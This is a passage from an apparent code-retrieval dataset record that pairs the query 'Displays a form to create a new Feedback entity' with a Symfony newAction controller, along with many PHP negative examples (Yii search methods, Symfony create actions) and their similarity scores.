$criteria->compare('Contact', $this->Contact, true);\n $criteria->compare('Phone', $this->Phone, true);\n $criteria->compare('RentalType', $this->RentalType, true);\n $criteria->compare('MinArea', $this->MinArea);\n $criteria->compare('Height', $this->Height);\n $criteria->compare('Width', $this->Width);\n $criteria->compare('LandLincense', $this->LandLincense, true);\n $criteria->compare('CertificateProperty', $this->CertificateProperty, true);\n $criteria->compare('LeftYears', $this->LeftYears);\n $criteria->compare('ProtocolUrl', $this->ProtocolUrl, true);\n $criteria->compare('Details', $this->Details, true);\n $criteria->compare('InfoValidPeriod', $this->InfoValidPeriod, true);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n ));\n }",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\n\t\t$criteria->compare('staff_id',$this->staff_id);\n\t\t$criteria->compare('recruitment_id',$this->recruitment_id);\n\t\t$criteria->compare('staff_inspur_id',$this->staff_inspur_id,true);\n\t\t$criteria->compare('staff_name',$this->staff_name,true);\n\t\t$criteria->compare('staff_en_name',$this->staff_en_name,true);\n\t\t$criteria->compare('staff_age',$this->staff_age);\n\t\t$criteria->compare('staff_contact_number',$this->staff_contact_number,true);\n\t\t$criteria->compare('staff_id_card',$this->staff_id_card,true);\n\t\t$criteria->compare('staff_work_status',$this->staff_work_status);\n\t\t$criteria->compare('source_types',$this->source_types);\n\t\t$criteria->compare('source',$this->source,true);\n\t\t$criteria->compare('bank_card',$this->bank_card,true);\n\t\t$criteria->compare('avatar_path',$this->avatar_path,true);\n\t\t$criteria->compare('educational_level',$this->educational_level);\n\t\t$criteria->compare('graduated_school',$this->graduated_school,true);\n\t\t$criteria->compare('hometown',$this->hometown,true);\n\t\t$criteria->compare('hometown_address',$this->hometown_address,true);\n\t\t$criteria->compare('emergency_contact',$this->emergency_contact,true);\n\t\t$criteria->compare('emergency_telephone',$this->emergency_telephone,true);\n\t\t$criteria->compare('other',$this->other,true);\n\t\t$criteria->compare('create_user_id',$this->create_user_id);\n\t\t$criteria->compare('create_time',$this->create_time);\n\t\t$criteria->compare('update_user_id',$this->update_user_id);\n\t\t$criteria->compare('update_time',$this->update_time);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}",
"public function search() {\n try {\n if (!($this->potential instanceof Base_Model_ObtorLib_App_Core_Crm_Entity_Potential)) {\n throw new Base_Model_ObtorLib_App_Core_Crm_Exception(\" Potential Entity not intialized\");\n } else {\n $objPotential = new Base_Model_ObtorLib_App_Core_Crm_Dao_Potential();\n $objPotential->potential = $this->potential;\n return $objPotential->search();\n }\n } catch (Exception $ex) {\n throw new Base_Model_ObtorLib_App_Core_Crm_Exception($ex);\n }\n }",
"public function get_matches()\r\n\t\t{\r\n\t\t\t$retArr = null;\r\n\t\t\t// Scaffolding Code For Array:\r\n\t\t\t$objs = $this->obj->find_all();\r\n\t\t\tforeach($objs as $obj)\r\n\t\t\t{\r\n\t\t\t\t$retArr[] = $obj->getBasics();\r\n\t\t\t}\r\n\t\t\treturn $retArr;\r\n\t\t}",
"public static function assessment_feedback() {\n\t\t$request = Controller::curr()->getRequest();\n\n\t\tif($request->latestParam('Action') == 'finished' && $submissionID = $request->latestParam('ID')) {\n\t\t\t\n\t\t\t$submission = RhinoSubmittedAssessment::get()->filter('uid', $submissionID)->First();\n\t\t\tif($submission) {\n\t\t\t\t$assessment = $submission->Parent();\n\t\t\t\tif($assessment) {\n\t\t\t\t\t$mark = $submission->getAssessmentMark();\n\t\t\t\t\t$feedback = $assessment->dbObject('FeedbackOn'.$mark);\n\t\t\t\t\tif ($feedback) {\n\t\t\t\t\t\treturn $feedback;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}",
"public function do_findPossibleScores($postData)\n {\n $this->checkIsAdmin();\n $form = new \\Foundation\\Form;\n $field = $form->newField();\n $field->setLegend('Find Matching Scores for ' . $this->_applicant->getFullName());\n \n $existingScores = array();\n foreach($this->getAnswers() as $answer){\n $date = strtotime($this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_DATE)->getJazzeeElement()->displayValue($answer));\n $uniqueId = \n $this->_applicationPage->getPage()->getElementByFixedId(self::FID_REGISTRATION_NUMBER)->getJazzeeElement()->displayValue($answer) .\n $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_TYPE)->getJazzeeElement()->displayValue($answer) .\n date('m', $date) . date('Y', $date); \n $existingScores[$uniqueId] = $answer;\n \n }\n \n $element = $field->newElement('CheckboxList', 'greMatches');\n $element->setLabel('Possible GRE');\n \n foreach ($this->_controller->getEntityManager()->getRepository('\\Jazzee\\Entity\\GREScore')->findByName(substr($this->_applicant->getFirstName(), 0, 2) . '%', substr($this->_applicant->getLastName(), 0, 3) . '%') as $score) {\n $uniqueId = $score->getRegistrationNumber() . 'GRE/GRE Subject' . $score->getTestDate()->format('m') . $score->getTestDate()->format('Y');\n if(!array_key_exists($uniqueId, $existingScores)){\n $element->newItem($score->getId(), $score->getLastName() . ', ' . $score->getFirstName() . ' ' . $score->getMiddleInitial() . ' ' . $score->getTestDate()->format('m/d/Y'));\n } else {\n if(!$existingScores[$uniqueId]->getGREScore()) {\n $element->addMessage('The system found at least one match for a GRE score the applicant had previously entered. You may need to refresh this page to view that match.');\n $this->matchScore($existingScores[$uniqueId]);\n }\n }\n }\n\n $element = $field->newElement('CheckboxList', 'toeflMatches');\n $element->setLabel('Possible TOEFL');\n foreach ($this->_controller->getEntityManager()->getRepository('\\Jazzee\\Entity\\TOEFLScore')->findByName(substr($this->_applicant->getFirstName(), 0, 2) . '%', substr($this->_applicant->getLastName(), 0, 3) . '%') as $score) {\n $uniqueId = $score->getRegistrationNumber() . 'TOEFL' . $score->getTestDate()->format('m') . $score->getTestDate()->format('Y');\n if(!array_key_exists($uniqueId, $existingScores)){\n $element->newItem($score->getId(), $score->getLastName() . ', ' . $score->getFirstName() . ' ' . $score->getMiddleName() . ' ' . $score->getTestDate()->format('m/d/Y'));\n } else {\n if(!$existingScores[$uniqueId]->getTOEFLScore()) {\n $element->addMessage('The system found at least one match for a TOEFL score the applicant had previously entered. You may need to refresh this page to view that match.');\n $this->matchScore($existingScores[$uniqueId]);\n }\n }\n }\n $form->newButton('submit', 'Match Scores');\n if (!empty($postData)) {\n //create a blank for so it can get values from parent::newAnswer\n $this->_form = new \\Foundation\\Form();\n if ($input = $form->processInput($postData)) {\n if ($input->get('greMatches')) {\n foreach ($input->get('greMatches') as $scoreId) {\n $score = $this->_controller->getEntityManager()->getRepository('\\Jazzee\\Entity\\GREScore')->find($scoreId);\n $arr = array(\n 'el' . $this->_applicationPage->getPage()->getElementByFixedId(self::FID_REGISTRATION_NUMBER)->getId() => $score->getRegistrationNumber(),\n 'el' . $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_DATE)->getId() => $score->getTestDate()->format('c'),\n 'el' . $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_TYPE)->getId() => $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_TYPE)->getItemByValue('GRE/GRE Subject')->getId()\n );\n $newInput = new \\Foundation\\Form\\Input($arr);\n $this->newAnswer($newInput);\n }\n }\n if ($input->get('toeflMatches')) {\n foreach ($input->get('toeflMatches') as $scoreId) {\n $score = $this->_controller->getEntityManager()->getRepository('\\Jazzee\\Entity\\TOEFLScore')->find($scoreId);\n $arr = array(\n 'el' . $this->_applicationPage->getPage()->getElementByFixedId(self::FID_REGISTRATION_NUMBER)->getId() => $score->getRegistrationNumber(),\n 'el' . $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_DATE)->getId() => $score->getTestDate()->format('c'),\n 'el' . $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_TYPE)->getId() => $this->_applicationPage->getPage()->getElementByFixedId(self::FID_TEST_TYPE)->getItemByValue('TOEFL')->getId()\n );\n $newInput = new \\Foundation\\Form\\Input($arr);\n $this->newAnswer($newInput);\n }\n }\n $this->_controller->setLayoutVar('status', 'success');\n } else {\n $this->_controller->setLayoutVar('status', 'error');\n }\n }\n\n return $form;\n }",
"public static function find_all($entity_data) {\n $search_results = array();\n $entities = call_user_func(array($entity_data['entity_name'], 'all')); \n foreach ($entities as $key => $entity) {\n $entity_data = EntityAPIUtils::entity_to_data($entity_data, $entity, false);\n array_push($search_results, $entity_data);\n }\n return $search_results;\n }",
"public function getActualActionProducts()\n {\n $actionGroupIds = $this->getActionGroupIds();\n $actionCategoriesIds = $this->getActionCategoryIds();\n $actionProductIds = $this->getActionProductIds();\n\n $query = Product::find()\n ->andWhere(['{{%sales_products}}.enabled' => true])\n ->orderBy(['{{%sales_products}}.title' => SORT_ASC]);\n\n if ($this->has_products) {\n // $query->andWhere(['{{%sales_products}}.is_show_in_catalog' => true]);\n } else {\n $dummyCategory = Category::findOne(['name' => Category::DUMMY_PLAN_CATEGORY_NAME]);\n $actionCategoriesIds[] = $dummyCategory->id;\n }\n\n if ($actionGroupIds) {\n $query->andWhere(['IN', 'group_id', $actionGroupIds]);\n }\n\n if ($actionCategoriesIds) {\n $query->andWhere(['IN', 'category_id', $actionCategoriesIds]);\n }\n\n if ($actionProductIds) {\n $query->andWhere(['IN', 'id', $actionProductIds]);\n }\n\n return $query;\n }",
"public function criteriaSearch()\r\n\t{\r\n\t\t// Warning: Please modify the following code to remove attributes that\r\n\t\t// should not be searched.\r\n\t\t$criteria=new CDbCriteria;\r\n\t\t$criteria->with = array('diagnosakep');\r\n\t\t$criteria->compare('tandagejala_id',$this->tandagejala_id);\r\n\t\t$criteria->compare('diagnosakep_id',$this->diagnosakep_id,true);\r\n\t\t$criteria->compare('LOWER(diagnosakep.diagnosakep_nama)',strtolower($this->diagnosakep_nama),true);\r\n\t\t$criteria->compare('LOWER(tandagejala_indikator)',strtolower($this->tandagejala_indikator),true);\r\n\t\t$criteria->compare('tandagejala_aktif',$this->tandagejala_aktif);\r\n\t\tif (!empty($this->aktif)) {\r\n\t\t\tif ($this->aktif == 1) {\r\n\t\t\t\t$criteria->addCondition('t.tandagejala_aktif = TRUE');\r\n\t\t\t}\r\n\t\t\tif ($this->aktif == 0) {\r\n\t\t\t\t$criteria->addCondition('t.tandagejala_aktif = FALSE');\r\n\t\t\t} \r\n\t\t}\r\n\t\treturn $criteria;\r\n\t}",
"public function findBy(array $criteria, array $orderBy = null, $limit = null, $offset = null);",
"private function _getSearchCriteria()\n\t{\n\t\t$fieldTaskNo = trim($this->taskNumber->Text);\n\t\t$clientRefNo = trim($this->clientRefNumber->Text);\n\t\t$serialNo = trim($this->serialNumber->Text);\n\t\t$searchPartTypeId = trim($this->partType->getSelectedValue());\n\t\t$searchAttendedById = trim($this->attendedBy->getSelectedValue());\n\t\t$recipientTechId = trim($this->recipientTech->getSelectedValue());\n\t\t$attendedStatus = $this->frStatus->getSelectedValues();\n\t\t$taskStatus = trim($this->ftStatus->getSelectedValue());\n\t\t$hasReserve = trim($this->hasReserve->getSelectedValue());\n\t\t$sentToWarehouseId = trim($this->sendTo->getSelectedValue());\n\t\t$sentToTechId = Factory::service('Warehouse')->getDefaultMobileWarehouse(trim($this->recipientTech->getSelectedValue()));\n\t\t$workTypeIds = $this->workType->getSelectedValues();\n\t\t$zoneSetIds = $this->zoneSet->getSelectedValues();\n\n\t\t$return = array($fieldTaskNo, $clientRefNo, $searchPartTypeId, $searchAttendedById, $attendedStatus, $taskStatus, $hasReserve, $sentToWarehouseId, $sentToTechId, $workTypeIds, $zoneSetIds, $serialNo,$recipientTechId);\n\t\tforeach($return as $value)\n\t\t{\n\t\t\t$checkingValue = (is_array($value) ? implode(\",\", $value) : $value);\n\n\t\t\tif(trim($checkingValue) !== self::OPTION_FOR_ALL && $checkingValue !== '')\n\t\t\treturn $return;\n\t\t}\n\n\t\tthrow new Exception(\"Please provide at least one search criteria!\");\n\t}",
"public function search()\n\t{\n\t\t// Warning: Please modify the following code to remove attributes that\n\t\t// should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n\t\t$criteria->with = array('Rel_org');\n\t\t\n\t\t$criteria->compare('fees_details_master',$this->fees_details_master);\n\t\t$criteria->compare('fees_details_master_name',$this->fees_details_master_name,true);\n\t\t$criteria->compare('created_by',$this->created_by);\n\t\t$criteria->compare('creation_date',$this->creation_date,true);\n\t\t$criteria->compare('organization_id',$this->organization_id);\n\t\t$FeesDetailsMaster_records=new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t\t $_SESSION['FeesDetailsMaster_records']=$FeesDetailsMaster_records;\n\treturn $FeesDetailsMaster_records;\n\t}"
] | [
"0.5955076",
"0.56186163",
"0.54816663",
"0.5427158",
"0.53147155",
"0.516237",
"0.5156202",
"0.5156202",
"0.51306903",
"0.51208425",
"0.50961345",
"0.5042302",
"0.50403255",
"0.50230545",
"0.50164235",
"0.500084",
"0.49665362",
"0.4960879",
"0.49438578",
"0.4917621",
"0.49075666",
"0.49011156",
"0.48610592",
"0.4836896",
"0.48306423",
"0.4829527",
"0.48271665",
"0.47960305",
"0.47901303",
"0.47793424",
"0.47590956",
"0.47559914",
"0.4747178",
"0.47388205",
"0.47183603",
"0.47146043",
"0.46982118",
"0.46976244",
"0.46938205",
"0.4687148",
"0.46844688",
"0.46842965",
"0.46716055",
"0.46631336",
"0.46502325",
"0.4648358",
"0.46472353",
"0.46387708",
"0.4628664",
"0.4628664",
"0.46272787",
"0.4610724",
"0.46080855",
"0.45980287",
"0.45881796",
"0.45830438",
"0.45810807",
"0.45803055",
"0.45790178",
"0.4567942",
"0.4566981",
"0.4560605",
"0.45556313",
"0.45550156",
"0.45536348",
"0.45504797",
"0.45443144",
"0.45409644",
"0.45409644",
"0.45364282",
"0.45297953",
"0.4522669",
"0.45174652",
"0.4508696",
"0.45071402",
"0.449346",
"0.44860113",
"0.44839334",
"0.44771418",
"0.44753632",
"0.44737658",
"0.44549984",
"0.44488862",
"0.44449645",
"0.44447032",
"0.44445047",
"0.44360304",
"0.4435289",
"0.4433281",
"0.44308147",
"0.44166538",
"0.44158888",
"0.44109634",
"0.441089",
"0.44108805",
"0.44091296",
"0.44080815",
"0.4408005",
"0.44035152",
"0.4400423"
] | 0.46881646 | 39 |
Displays a form to create a new Feedback entity. | public function newAction(Request $request)
{
$entity = new Feedback();
$form = $this->createCreateForm($entity);
$form->handleRequest($request);
if ($form->isSubmitted() && $form->isValid()) {
$em = $this->getDoctrine()->getManager();
$em->persist($entity);
$em->flush();
// Mostrando mensaje
$this->get('session')->getFlashBag()->add('success', 'The feedback was created successfully.');
if ($form->get('submitback')->isClicked()) {
return $this->redirect($this->generateUrl('feedback_new'));
} else {
return $this->redirectToRoute('feedback_show', array('id' => $entity->getId()));
}
}
return $this->render('feedback/new.html.twig', array(
'entity' => $entity,
'form' => $form->createView(),
));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function actionCreate()\n {\n $model = new FeedbackType();\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n \tYii::$app->getSession()->setFlash('success', $model->fkt_form_name.' '.$model->fkt_list_name.' 添加成功,结果将展示在列表。');\n return $this->redirect(['index']);\n } else {\n return $this->render('create', [\n 'model' => $model,\n ]);\n }\n }",
"public function create()\n {\n return view('Feedback.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('feedbacks.create');\n\t}",
"public function create()\n {\n return view('feedback.create');\n }",
"public function create()\n {\n return view('feedback.create');\n }",
"public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Fluidite();\n $form = $this->createCreateForm($entity);\n\n return $this->render('GestionPassBundle:Fluidite:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Leads();\n $form = $this->createForm(new LeadsType(), $entity);\n\n return $this->render('EmtagsNewsletterBundle:Leads:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }",
"public function createAction()\n {\n// $this->view->form = $form;\n }",
"public function newAction()\n {\n $entity = new Newsletter();\n $form = $this->createForm(new NewsletterType(), $entity);\n\n return $this->render('ClassCentralSiteBundle:Newsletter:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"private function createCreateForm(Feedback $entity)\n {\n $form = $this->createForm('BackendBundle\\Form\\FeedbackType', $entity, array(\n 'action' => $this->generateUrl('feedback_new'),\n 'method' => 'POST',\n ));\n\n $form->add('submit', SubmitType::class, array('label' => 'Create'));\n $form->add('submitback', SubmitType::class, array('label' => 'Create & Back'));\n\n return $form;\n }",
"public function newAction()\n {\n $entity = new StudyQuestions();\n $form = $this->createForm(new StudyQuestionsType(), $entity);\n\n return $this->render('CompeteComBundle:StudyQuestions:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }",
"public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle école'\n\t\t) ) );\n\t}",
"public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function create() {\n\n\t\treturn view('/mailer/createform');\n\n\t}",
"public function newAction()\n {\n $entity = new Partner();\n $form = $this->createCreateForm($entity);\n\n return $this->render('RudakPartnerBundle:Partner:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Cosecha();\n $form = $this->createCreateForm($entity);\n\n return $this->render('UpaoFundoBundle:Cosecha:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n\t{\n\t\treturn view('faith.form');\n\t}",
"public function newAction()\n {\n $user = $this->getCurrentUser();\n $form = new Facepalm_Form_Point($user, null);\n\n if ($this->getRequest()->isPost()) {\n $post = $this->getRequest()->getPost();\n if ($form->isValid($post)) {\n $point = $form->persist();\n\n $this->_helper->sendNotifications(\n $point, $this->getCurrentUser()\n );\n\n $this->_helper->getStaticHelper('redirector')\n ->gotoSimpleAndExit('index');\n }\n }\n\n $this->view->form = $form;\n }",
"public function showAction(Feedback $entity)\n {\n $deleteForm = $this->createDeleteForm($entity);\n\n return $this->render('feedback/show.html.twig', array(\n 'entity' => $entity,\n 'delete_form' => $deleteForm->createView(),\n ));\n }",
"public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }",
"public function newAction()\n {\n $entity = new PartnerCategory();\n $form = $this->createCreateForm($entity);\n\n return $this->render('PointWebPartnerBundle:PartnerCategory:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Message();\n $form = $this->createForm(new MessageType(), $entity);\n\n return $this->render('CoreMarketingBundle:Message:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new DealerComponent();\n $form = $this->createCreateForm($entity);\n\n return $this->render('NumaDOADMSBundle:DealerComponent:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\r\n {\r\n $entity = new Question();\r\n $em = $this->getDoctrine()->getManager('interview');\r\n $form = $this->createForm(new QuestionType($em), $entity);\r\n\r\n return array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n );\r\n }",
"public function create()\n {\n return view(\"backend.cms.form\");\n }",
"public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }",
"public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}",
"public function newAction()\n {\n $entity = new Customer();\n $form = $this->createForm(new CustomerType(), $entity);\n\n return $this->render('EnterpriseBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }",
"public function newAction()\n {\n $entity = new Feriado();\n $form = $this->createCreateForm($entity);\n\n return $this->render('BaseBundle:Feriado:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Compte();\n $form = $this->createCreateForm($entity);\n\n return $this->render('ApplisunCompteBundle:Compte:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Article();\n $form = $this->createCreateForm($entity);\n\n return $this->render($this->templates[\"new\"], array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n\t\t\t'mesRoutes' => $this->mesRoutes,\n ));\n }",
"public function newAction()\n {\n $entity = new Fichepatient();\n $form = $this->createCreateForm($entity);\n\n return $this->render('MedecinIBundle:Fichepatient:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction() {\n $entity = new DetailsProduits();\n $form = $this->createCreateForm($entity);\n\n return $this->render('VentesBundle:DetailsProduits:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Productosprogramas();\n $form = $this->createCreateForm($entity);\n\n $helper=new MyHelper();\n return $this->render('gemaBundle:Productosprogramas:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'guid'=> $helper->GUID(),\n ));\n }",
"protected function form()\n {\n $form = new Form(new Feedback);\n\n\n\n return $form;\n }",
"public function newAction()\n {\n $entity = new Education();\n $form = $this->createCreateForm($entity);\n\n return $this->render('SyndicateComponentBundle:Education:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Entreprise();\n $form = $this->createCreateForm($entity);\n $erreur = \"\";\n\n return $this->render('KbhGestionCongesBundle:Admin\\Entreprise:new.html.twig', array(\n 'entity' => $entity,\n 'erreur' => $erreur,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n \t$em \t= $this->getDoctrine()->getEntityManager();\n \t$entity = new News();\n $form = $this->createForm(new NewsType($em, $this->container), $entity, array('show_legend' => false));\n \n $NoLayout = $this->container->get('request')->query->get('NoLayout');\n if(!$NoLayout)\t$template = \"new.html.twig\"; else \t$template = \"new.html.twig\"; \n\n return $this->render(\"PiAppGedmoBundle:News:$template\", array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'NoLayout' => $NoLayout,\n ));\n }",
"public function create ()\n {\n return view('forms.create');\n }",
"public function create()\n {\n return view ('forms.create');\n }",
"public function newFormAction()\n {\n $entity = new BaseEntity();\n $form = $this->createForm(BaseType::class, $entity);\n\n return $this->render('backOffice/area/new.html.twig', array(\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Encuesta();\n $form = $this->createCreateForm($entity);\n\n return $this->render('EncuestaBundle:Encuesta:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"protected function form()\n {\n $form = new Form(new Feedback);\n\n $form->select('user_id', __('feedback::feedback.user_id'))\n ->options(function ($id) {\n $user = User::find($id);\n if ($user) {\n return [$user->id => $user->username];\n }\n })\n ->ajax(route('admin.select.user'))\n ->required();\n $form->text('title', __('feedback::feedback.title'))->readonly();\n $form->UEditor('content', __('feedback::feedback.content'));\n $form->text('contact', __('feedback::feedback.contact'))->readonly();\n $form->image('file', __('feedback::feedback.file'))->readonly();\n $form->UEditor('reply', __('feedback::feedback.reply'));\n $form->select('status', __('feedback::feedback.status.label'))\n ->options(__('feedback::feedback.status.value'));\n\n return $form;\n }",
"public function newAction()\n {\n $entity = new Lead();\n // $contact = new LeadContact();\n // $entity->addContact($contact);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }",
"public function createAction()\n {\n $em \t= $this->getDoctrine()->getEntityManager();\n $locale\t= $this->container->get('session')->getLocale();\n \n $NoLayout = $this->container->get('request')->query->get('NoLayout');\n if(!$NoLayout)\t$template = \"new.html.twig\"; else \t$template = \"new.html.twig\"; \n \n $entity = new News();\n $request = $this->getRequest();\n $form = $this->createForm(new NewsType($em, $this->container), $entity, array('show_legend' => false));\n $form->bindRequest($request);\n\n if ($form->isValid()) {\n $entity->setTranslatableLocale($locale);\n $em->persist($entity);\n $em->flush();\n\n return $this->redirect($this->generateUrl('admin_gedmo_news_show', array('id' => $entity->getId(), 'NoLayout' => $NoLayout)));\n \n }\n\n return $this->render(\"PiAppGedmoBundle:News:$template\", array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'NoLayout' => $NoLayout,\n ));\n }",
"public function create()\n {\n return view('article.addform');\n }",
"public function create()\n {\n return view(\"request_form.form\");\n }",
"public function newAction()\n {\n $entity = new Acc();\n $form = $this->createCreateForm($entity);\n\n return $this->render('FlyPlatformBundle:Acc:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Event();\n $form = $this->createCreateForm($entity);\n\n return $this->render('HospiceSiteBundle:Event:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n \n\t\treturn view('backend.suppliers.create');\n }",
"public function createAction()\n {\n $post_request = (array) $this->postZingRequest();\n\n /** Handle the request */\n $errors = $this->_handleRequest($post_request);\n\n $api_manager = $this->get('zing.core.api.api');\n\n return $this->renderAdmin('ZingComponentPollBundle:Default:question/form.html.twig', array_merge(array_merge(array(\n 'zing_form_action' => 'create',\n 'zing_form_errors' => $errors,\n 'user_key' => $api_manager->createUserApiKey()\n ),\n array('post_request' => $post_request)\n ), $post_request));\n }",
"public function newAction()\r\n {\r\n $entity = new Utilisateur();\r\n $form = $this->createCreateForm($entity);\r\n\r\n return $this->render('UtilisateurBundle:Utilisateur:new.html.twig', array(\r\n 'entity' => $entity,\r\n 'form' => $form->createView(),\r\n ));\r\n }",
"public function newAction()\n {\n $entity = new Feeds();\n $form = $this->createCreateForm($entity);\n\n return $this->render('InfotapAdminBundle:Feeds:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }",
"public function create()\n {\n return view('questions::frontend.create');\n }",
"public function newAction()\n {\n \t$em \t\t= $this->getDoctrine()->getEntityManager();\n \t$entity \t= new Corporation();\n $form \t= $this->createForm(new CorporationType($em, $this->container), $entity, array('show_legend' => false));\n \n $category = $this->container->get('request')->query->get('category');\n $NoLayout = $this->container->get('request')->query->get('NoLayout');\n if(!$NoLayout)\t$template = \"new.html.twig\"; else \t$template = \"new.html.twig\"; \n \n if($category)\n \t$entity->setCategory($category); \n\n return $this->render(\"PiAppGedmoBundle:Corporation:$template\", array(\n 'entity' \t=> $entity,\n 'form' \t=> $form->createView(),\n 'NoLayout' => $NoLayout,\n 'category'\t=> $category,\n ));\n }",
"public function newAction() {\n\n $user = $this->getUser();\n if (!$user) {\n return $this->render('AeagDieBundle:Default:interdit.html.twig');\n }\n $session = $this->get('session');\n $session->set('menu', 'Admin');\n $session->set('controller', 'Demande');\n $session->set('fonction', 'index');\n $em = $this->get('doctrine')->getManager('die');\n\n $entity = new Demande();\n $form = $this->createForm(new DemandeType(), $entity);\n\n return $this->render('AeagDieBundle:Demande:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView()\n ));\n }",
"public function actionCreate() {\r\n $model = new Fltr();\r\n\r\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\r\n return $this->redirect(['view', 'id' => $model->id]);\r\n } else {\r\n return $this->render('create', [\r\n 'model' => $model,\r\n ]);\r\n }\r\n }",
